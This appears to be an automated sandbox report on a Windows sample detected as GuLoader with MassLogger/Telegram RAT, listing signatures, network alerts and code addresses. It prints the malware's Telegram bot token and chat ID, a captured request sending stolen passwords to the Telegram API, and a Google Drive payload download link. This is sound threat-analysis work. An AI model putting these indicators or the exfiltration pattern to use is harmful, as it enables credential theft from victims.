Edit tour

Windows Analysis Report
V7OHj6ISEo.exe

Overview

General Information

Sample name:	V7OHj6ISEo.exe renamed because original name is a hash value
Original sample name:	d7aca08687c1ffc0b01ad90f5500c968796bebf8b60995363c8d7c19be48c562.exe
Analysis ID:	1588170
MD5:	44ca4d83095d7f0372c1eab439f633be
SHA1:	b90fdcf957fc294917a047608bb2188a1596e5e7
SHA256:	d7aca08687c1ffc0b01ad90f5500c968796bebf8b60995363c8d7c19be48c562
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

V7OHj6ISEo.exe (PID: 4832 cmdline: "C:\Users\user\Desktop\V7OHj6ISEo.exe" MD5: 44CA4D83095D7F0372C1EAB439F633BE)

V7OHj6ISEo.exe (PID: 4136 cmdline: "C:\Users\user\Desktop\V7OHj6ISEo.exe" MD5: 44CA4D83095D7F0372C1EAB439F633BE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1838395220.0000000005033000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: V7OHj6ISEo.exe PID: 4136	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: V7OHj6ISEo.exe PID: 4136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: V7OHj6ISEo.exe PID: 4136	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:14:27.330649+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49974	149.154.167.220	443	TCP
2025-01-10T22:14:29.965995+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49976	149.154.167.220	443	TCP
2025-01-10T22:14:31.990956+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49978	149.154.167.220	443	TCP
2025-01-10T22:14:34.010413+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49980	149.154.167.220	443	TCP
2025-01-10T22:14:36.003361+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49982	149.154.167.220	443	TCP
2025-01-10T22:14:37.924010+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49984	149.154.167.220	443	TCP
2025-01-10T22:14:40.026689+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49986	149.154.167.220	443	TCP
2025-01-10T22:14:41.704936+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49988	149.154.167.220	443	TCP
2025-01-10T22:14:43.512462+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49990	149.154.167.220	443	TCP
2025-01-10T22:14:45.287305+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49992	149.154.167.220	443	TCP
2025-01-10T22:14:47.155119+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49994	149.154.167.220	443	TCP
2025-01-10T22:14:49.270756+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49996	149.154.167.220	443	TCP
2025-01-10T22:14:51.051763+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49998	149.154.167.220	443	TCP
2025-01-10T22:14:53.244640+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	50000	149.154.167.220	443	TCP
2025-01-10T22:14:55.523764+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	50002	149.154.167.220	443	TCP
2025-01-10T22:14:57.378573+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	50004	149.154.167.220	443	TCP
2025-01-10T22:14:59.124615+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	50006	149.154.167.220	443	TCP
2025-01-10T22:15:00.971800+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	50008	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:14:19.480720+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49972	132.226.8.169	80	TCP
2025-01-10T22:14:26.293285+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49972	132.226.8.169	80	TCP
2025-01-10T22:14:29.027759+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49975	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:14:14.112061+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	49970	142.250.186.110	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:14:26.939576+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49974	149.154.167.220	443	TCP
2025-01-10T22:14:29.645099+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49976	149.154.167.220	443	TCP
2025-01-10T22:14:31.526788+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49978	149.154.167.220	443	TCP
2025-01-10T22:14:33.519198+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49980	149.154.167.220	443	TCP
2025-01-10T22:14:35.617891+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49982	149.154.167.220	443	TCP
2025-01-10T22:14:37.526401+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49984	149.154.167.220	443	TCP
2025-01-10T22:14:39.700762+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49986	149.154.167.220	443	TCP
2025-01-10T22:14:41.487017+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49988	149.154.167.220	443	TCP
2025-01-10T22:14:43.191974+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49990	149.154.167.220	443	TCP
2025-01-10T22:14:45.015199+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49992	149.154.167.220	443	TCP
2025-01-10T22:14:46.782618+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49994	149.154.167.220	443	TCP
2025-01-10T22:14:48.952941+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49996	149.154.167.220	443	TCP
2025-01-10T22:14:50.762232+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49998	149.154.167.220	443	TCP
2025-01-10T22:14:52.879449+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	50000	149.154.167.220	443	TCP
2025-01-10T22:14:55.159692+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	50002	149.154.167.220	443	TCP
2025-01-10T22:14:57.061818+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	50004	149.154.167.220	443	TCP
2025-01-10T22:14:58.855354+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	50006	149.154.167.220	443	TCP
2025-01-10T22:15:00.706930+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	50008	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a2051f68ffHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035163000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2564904168.00000000371F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: V7OHj6ISEo.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.00000000350F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.00000000048E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.00000000048E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/L
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.0000000004921000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2543131786.00000000063C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.0000000004921000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37D
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009686731.0000000004960000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009633754.0000000004959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009686731.0000000004960000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009633754.0000000004959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/I
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009686731.0000000004960000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2542671564.0000000004940000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009633754.0000000004959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37&export=download
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.7:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49974 version: TLS 1.2

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: 1_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_0040558F

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		1_2_004034A5
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		7_2_004034A5

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_00404DCC	1_2_00404DCC
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_00406AF2	1_2_00406AF2
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_75561B5F	1_2_75561B5F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00404DCC	7_2_00404DCC
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00406AF2	7_2_00406AF2
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00154328	7_2_00154328
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00158DA0	7_2_00158DA0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00155968	7_2_00155968
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00155F90	7_2_00155F90
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00152DD1	7_2_00152DD1
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CCCA0	7_2_350CCCA0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C7628	7_2_350C7628
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CC638	7_2_350CC638
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CF649	7_2_350CF649
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C2130	7_2_350C2130
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C3318	7_2_350C3318
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C03AF	7_2_350C03AF
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CBD88	7_2_350CBD88
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CCC91	7_2_350CCC91
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CB4EC	7_2_350CB4EC
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CE79F	7_2_350CE79F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C6E91	7_2_350C6E91
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C6EA0	7_2_350C6EA0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CDEE1	7_2_350CDEE1
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CB944	7_2_350CB944
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CC1F2	7_2_350CC1F2
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C7848	7_2_350C7848
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CF043	7_2_350CF043
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CB07F	7_2_350CB07F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C6B01	7_2_350C6B01
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CE339	7_2_350CE339
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CEBF7	7_2_350CEBF7
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CDA89	7_2_350CDA89
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350C6AE3	7_2_350C6AE3
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D196C8	7_2_37D196C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D18650	7_2_37D18650
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1BDF0	7_2_37D1BDF0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D19D10	7_2_37D19D10
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D11400	7_2_37D11400
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1A360	7_2_37D1A360
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1BA97	7_2_37D1BA97
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1A9B0	7_2_37D1A9B0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D167C0	7_2_37D167C0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1AFF8	7_2_37D1AFF8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1AFEB	7_2_37D1AFEB
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D167B0	7_2_37D167B0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D10FA8	7_2_37D10FA8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D13F70	7_2_37D13F70
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D13F60	7_2_37D13F60
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15F10	7_2_37D15F10
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15F01	7_2_37D15F01
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D136C0	7_2_37D136C0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D136B0	7_2_37D136B0
